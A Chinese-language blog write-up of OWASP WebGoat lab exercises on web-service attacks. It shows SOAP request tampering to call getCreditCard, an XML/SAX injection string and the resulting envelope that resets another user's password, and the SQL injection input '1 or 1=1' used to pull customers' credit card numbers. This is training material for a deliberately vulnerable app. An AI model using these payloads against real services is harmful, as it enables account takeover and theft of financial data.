您的位置:首页 > 编程语言 > Go语言

Webgoat 笔记总结 Web Services II

2012-10-08 22:22 387 查看
 
WSDL Scanning
Web Service描述语言WSDL 就是用机器能阅读的方式提供的一个正式描述文档而基于XML的语言,用于描述Web Service及其函数、参数和返回值。因为是基于XML的,所以WSDL既是机器可阅读的,又是人可阅读的。
This screen is the API for a web service. Check the WSDL file for this web service and try to get some customer credit numbers.
这里显示的是一个Web services的API (Application Programming Interface,应用程序编程接口) 。检查此Web service服务的WSDL文件,并试图得到一些客户的信用卡号。
演示
通过拦截并修改他的请求到我们所要获得的请求得到相应的响应



可以看到这里面并没有直接读取用户信用卡号的选项



尝试提交下First Name可以成功getFirstName



我们先通过查看WSDL文件得知获得信用卡号的动作代码是getCreditCard
开启Intercept requests再次提交First Name,不过这次我们要拦截并修改他提交的内容了



修改动作






SAX
Simple API for XML(简称SAX)是个循序存取XML的解析器API。SAX提供一个机制从XML文件读取资料。它是除了文件物件模型(DOM)的另外一种流行选择。
一个实现SAX的解析器(也就是“SAX Parser”)以一个串流解析器的型式作用,拥有事件驱动API。由使用者定义回调函数,解析时,若发生事件的话会被调用。SAX事件包括:
XML 文字 节点
XML 元素 节点
XML 处理指令
XML 注释
事件在任一XML特性遇到时引发,以及遇到他们结尾时再次引发。XML属性也作为传给元素事件资料的一部分。
SAX 处理时单方向性的;解析过的资料无法在不重新开始的情况下再次读取。
演示
web api在后台使用webservices。如果前端的Web服务依赖于所有的输入验证,它很可能会篡改XML的网络接口发送的信息
在这个练习中,试图改变用户的密码,而不是101。






我们尝试一下 看看回馈信息



我们看到
而且我们可以看到输入的内容"password"是插入到
<password xsi:type='xsd:string'>后面
<password xsi:type='xsd:string'>password
我们可以根据他的代码尝试写出SAX注入代码
里面包含了id以及密码
<id xsi:type='xsd:int'>101</id>
<password xsi:type='xsd:string'>password</password>
组合起来是:
</password><id xsi:type='xsd:int'>101</id><password xsi:type='xsd:string'>password
最后的password可以自定义 前面的101就是我们可以修改的ID了



输入要改的密码test123, 然后开启WebScarab抓包
点击go



这里是我们将要修改的数值
把SAX注入代码:
</password><id xsi:type='xsd:int'>119</id><password xsi:type='xsd:string'>test123
插入得到






<?xml version='1.0' encoding='UTF-8'?>
<wsns0:Envelope
xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance'
xmlns:xsd='http://www.w3.org/2001/XMLSchema'
xmlns:wsns0='http://schemas.xmlsoap.org/soap/envelope/'
xmlns:wsns1='http://lessons.webgoat.owasp.org'>
<wsns0:Body>
<wsns1:changePassword>
<id xsi:type='xsd:int'>101</id>
<password xsi:type='xsd:string'>test123</password><id
xsi:type='xsd:int'>119</id><password xsi:type='xsd:string'>test123</password>
</wsns1:changePassword>
</wsns0:Body>
</wsns0:Envelope>
You have changed the passsword for userid 119 to 'test123'
代码执行了
Webservices SQL injection
演示要求:
检查web services描述语言(WSDL)文件,并试图获得多个客户的信用卡号码。你不会看到结果返回此屏幕。当你相信你已经成功了,刷新页面,寻找“绿色星星”。






操作选择getCreditCard
并在ID数值处插入SQL代码
1 or 1=1






登录

执行 1 or 1=1



并且刷新网页
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签:  阅读 border